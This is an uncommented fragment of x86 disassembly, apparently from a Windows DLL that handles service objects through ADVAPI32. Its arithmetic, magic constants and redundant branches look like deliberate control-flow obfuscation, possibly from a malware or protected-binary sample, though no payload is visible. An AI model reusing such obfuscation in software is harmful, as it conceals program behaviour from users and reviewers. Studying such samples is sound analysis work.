mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0xf5ab171c
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x14]
test eax, eax
je 0x1002ca5e
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002ca60
lea ecx, [eax + 1]
jmp 0x1002ca62
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x1ec]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
sub ecx, 0xdeb9
je 0x1002ca92
cmp dword [ebp - 0x1ec], eax
je 0x1002ca92
xor edx, edx
inc edx
mov ecx, edx
jmp 0x1002ca97
xor edx, edx
mov ecx, eax
inc edx
mov eax, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
neg eax
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x1e8]
je 0x1002cac0
xor eax, eax
cmp dword [ebp - 0x75c], eax
je 0x1002cac2
jmp 0x1002cac4
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x760]
xor ecx, ecx
cmp edx, eax
push 0xfffffffffffffffd
setne cl
xor edx, edx
mov dword [ebp - 0x760], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
xor eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
pop ecx
setge dl
mov dword [ebp - 0x14], edx
xor edx, edx
mov eax, dword [ebp - 0x1e8]
cmp eax, ecx
mov eax, dword [ebp - 0x50]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, dword [ebp - 0x34]
jg 0x1002cb2c
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002c9d7
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1002c9d5
xor ecx, ecx
mov dword [ebp - 0x14], eax
inc ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002cb4f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x27c], 0x19ef
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002cb37
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jg 0x1002c9d5